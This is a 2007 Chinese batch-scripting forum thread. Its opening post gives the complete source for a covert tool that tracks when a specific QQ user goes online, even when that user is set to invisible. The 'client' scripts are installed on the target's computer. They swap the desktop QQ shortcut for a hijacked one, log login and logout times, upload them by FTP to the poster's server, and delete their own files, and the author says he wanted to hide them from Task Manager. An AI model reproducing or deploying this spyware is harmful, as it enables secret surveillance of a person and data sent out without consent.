中国DOS联盟论坛

中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net  论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

游客:  注册 | 登录 | 命令行 | 会员 | 搜索 | 上传 | 帮助 »
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » 批处理检测某个QQ号是否在线,隐身也能检测
作者:
标题: 批处理检测某个QQ号是否在线,隐身也能检测 上一主题 | 下一主题
sweetdreamlan
中级用户





积分 244
发帖 92
注册 2006-5-13
状态 离线
『楼 主』:  批处理检测某个QQ号是否在线,隐身也能检测

写此批处理纯属好玩,没有什么技术含量   请务BT  ^_^
替换文件里的QQ号码bat,用的是版主  lxmxn  的代码...嘿嘿  自己写不来
本来想更改ping.exe , find.exe , ftp.exe 等文件名  让对方在任务管理器里查看不出异常来,但是修改cmd.exe路径时遇到难度  所以就没有改

客户端文件:
____________________________
点这里替换所有文本里的QQ号码.bat
\tihuan     
初始化bak.bat
QQbak.bat
QQ.vbs
Shortcut.exe   快捷方式创建EXE
sleep.exe        延迟
startbak
noicqbak
344536606onbak
344536606errorbak
344536606error2bak
344536606downbak
344536606down.txt
344536606error.txt
344536606exit.txt
344536606on.txt
没有找到目录344536606.txt
请看说明.txt
已经替换过.txt
__________________________________

初始化bak.bat   内容

REM   查找QQ文件夹所在目录

:diskC
for /r c:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startC

:diskD
for /r d:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startD

:diskE
for /r e:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startE

:diskF
for /r f:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startF

:diskG
for /r g:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startG

:diskH
for /r h:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startH

:startC
if not exist "%qexepath%" goto diskD
goto next

:startD
if not exist "%qexepath%" goto diskE
goto next

:startE
if not exist "%qexepath%" goto diskF
goto next

:startF
if not exist "%qexepath%" goto :diskG
goto next

:startG
if not exist "%qexepath%" goto :DiskH
goto next

:startH
if not exist "%qexepath%" goto :no
goto next

找到了就复制文件到QQ目录下
:next
copy qq.vbs "%qqpath%"
copy qq.bat "%qqpath%"
copy 344536606on "%qqpath%"
copy 344536606down "%qqpath%"
copy 344536606error "%qqpath%"
copy 344536606error2 "%qqpath%"
copy sleep.exe "%qqpath%"
ftp -s:start

REM 搜索桌面上的QQ图标然后删除, 然后创建一个新的Q图标,目标是QQ.vbs
for /r "%userprofile%\桌面" %%i in (*.lnk) do if exist "%%i" type "%%i"|find "qq.exe" && del "%%i"
for /r "%allusersprofile%\桌面" %%i in (*.lnk) do if exist "%%i" type "%%i"|find "qq.exe" && del "%%i"
Shortcut.exe /f:"%userprofile%\桌面\QQ.lnk" /a:c /t:"%qqpath%\qq.vbs" /w:"%qqpath%" /i:"%qexepath%,0"

REM 删除所有用过的文件
del qq.vbs
del qq.bat
del sleep.exe
del Shortcut.exe
del 344536606on
del 344536606down
del 344536606error
del 344536606error2
del 344536606down.txt
del 344536606error.txt
del 344536606exit.txt
del 344536606on.txt
del start
del noicq
del 没有找到目录344536606.txt
del 初始化.bat
exit

REM 没有找到的话就向ftp反回报告
:no
ftp -s:noicq
del qq.vbs
del qq.bat
del sleep.exe
Shortcut.exe
del 344536606on
del 344536606down
del 344536606error
del 344536606error2
del 344536606down.txt
del 344536606error.txt
del 344536606exit.txt
del 344536606on.txt
del start
del noicq
del 没有找到目录344536606.txt
del 初始化.bat


QQ.bat  内容
REM  以QQ号码文件目录下的 ewh.db做为判断上线,naccountservice.dat判断下线
@echo off
del 344536606\ewh.db
del 344536606\naccountservice.dat
start qq.exe

REM  在进程里查找ping.exe  ,因为如果cmd守护程序还在的话,再运行一次,会出错,   
sleep 1
tasklist|find "ping.exe" && exit
sleep 1
tasklist|find "ping.exe" && exit
sleep 1
tasklist|find "ping.exe" && exit
ping -n 12 127.1 > nul
if not exist 344536606\ewh.db goto detect

:start
date /t > 344536606on.txt
time /t >> 344536606on.txt
ftp -s:344536606on

REM 如果在344536606exit.txt找到了:就代表上次运行完成,没有被Kiss或重启,如果没有找到就上传报告
type 344536606exit.txt|find ":" && goto online
ftp -s:344536606error
date /t >> 344536606error.txt
time /t >> 344536606error.txt
ftp -s:344536606error2

REM 检测naccountservice.dat  ,如果有了,就代表下线了
:online
set qqpath="%cd%"
cd 344536606
dir|find "naccountservice.dat" && goto downline
cd /d "%qqpath%"
ping -n 6 127.1 > nul
goto online

:downline
cd /d "%qqpath%"
date /t > 344536606down.txt
time /t >> 344536606down.txt
time /t > 344536606exit.txt
ftp -s:344536606down
del 344536606down.txt
del 344536606exit.txt
exit

REM 打开QQ后如果没检测到ewh.db  就继续检测几次,因为有些人打开QQ会过一下才上
:detect
set /a max=%max%+1
if %max%==6 exit
set qqpath2="%cd%"
cd 344536606
dir|find "ewh.db" && cd /d "%qqpath2%" && goto start
cd /d "%qqpath2%"
ping -n 6 127.1 > nul
goto detect



服务端文件:
_______________
Server.bat
Server
_______________

Server.bat  内容

@echo off
:loop
color 07
ftp -s:Server
cls
color 0a
type 没有找到目录344536606.txt|find "QQ" && goto exit
type 344536606exit.txt|find ":" && goto no
cls
echo.
echo.
echo.
echo        对方在线...   
echo.
echo.
echo     对方上次--下线时间: && type 344536606down.txt
echo.
echo.
echo     对方本次--上线时间: && type 344536606on.txt
echo.
echo.
echo     对方最近最近几次的异常退出记录 && type 344536606error.txt
ping -n 10 127.1 > nul
goto loop

:no
cls
echo.
echo.
echo.
echo        对方不在线...
echo.
echo.
echo     对方上次--上线时间: && type 344536606on.txt
echo.
echo.
echo     对方上次--下线时间: && type 344536606down.txt
echo.
echo.
echo     对方最近几次的异常退出记录 && type 344536606error.txt
ping -n 10 127.1 > nul
goto loop

:exit
type 没有找到目录344536606.txt
pause>nul


Server 内容
open xxx.xxx.xxx
username
password
cd wwwroot
get 344536606on.txt
get 344536606down.txt
get 344536606exit.txt
get 344536606error.txt
get 没有找到目录344536606.txt
bye

下载
客户端
服务端

[ Last edited by sweetdreamlan on 2007-10-26 at 01:49 AM ]

2007-10-26 01:40
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
newyj
初级用户





积分 41
发帖 16
注册 2007-10-23
状态 离线
『第 2 楼』:  好啊好啊

不知道用

2007-10-26 03:05
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
picat
初级用户





积分 150
发帖 68
注册 2007-4-26
状态 离线
『第 3 楼』:  

还分客户端服务端?LZ能说一下具体流程吗?

2007-10-26 10:08
查看资料  发短消息 网志   编辑帖子  回复  引用回复
sweetdreamlan
中级用户





积分 244
发帖 92
注册 2006-5-13
状态 离线
『第 4 楼』:  

具体流程你把客户端和服务端下载分析下批处理就知道怎么回事了
里面的批处理很容易看懂

2007-10-26 12:20
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
58795362
初级用户





积分 33
发帖 16
注册 2007-12-5
状态 离线
『第 5 楼』:  

不适用,不过还是顶

2007-12-13 16:26
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
luckboy45
中级用户




积分 487
发帖 212
注册 2007-4-1
状态 离线
『第 6 楼』:  

其实你发他个视频就可以了....在线他肯定会骂你的!~



逍遥@浪子@反病毒
2007-12-13 18:56
查看资料  发短消息 网志   编辑帖子  回复  引用回复
honghunter
中级用户





积分 321
发帖 135
注册 2007-2-4
状态 离线
『第 7 楼』:  

基本上那个没有看明白啊,为啥要用ftp哪?



探讨批量下载与智能化的下载
2007-12-22 09:39
查看资料  发短消息 网志   编辑帖子  回复  引用回复
451596753
新手上路





积分 5
发帖 3
注册 2007-12-16
状态 离线
『第 8 楼』:  

如果不用服务端就好了 ~

2007-12-22 22:33
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
jefflo
初级用户





积分 36
发帖 16
注册 2007-11-27
状态 离线
『第 9 楼』:  

我晕。。。
直接用NETSTAT
给对方发消息,然后看是发个腾讯服务器中转,还是直接发给对方IP了。。
就是只要知道腾讯的几个服务器,NETSTAT查看判断,如果是发给腾讯服务器就是不在线

2007-12-23 13:18
查看资料  发短消息 网志   编辑帖子  回复  引用回复
zlb020
新手上路





积分 8
发帖 4
注册 2007-12-28
状态 离线
『第 10 楼』:  

楼上能说明点就好了。

2007-12-28 15:38
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
lotus516
高级用户

论坛上抢劫的


积分 551
发帖 246
注册 2006-9-21
状态 离线
『第 11 楼』:  

要放到别人机子上没用啊!

2007-12-28 21:18
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
czzz2005
新手上路





积分 6
发帖 3
注册 2007-12-29
状态 离线
『第 12 楼』:  

学习啦~!来这里真是受益匪浅

2007-12-30 00:20
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复

请注意:您目前尚未注册或登录,请您注册登录以使用论坛的各项功能,例如发表和回复帖子等。


可打印版本 | 推荐给朋友 | 订阅主题 | 收藏主题



论坛跳转: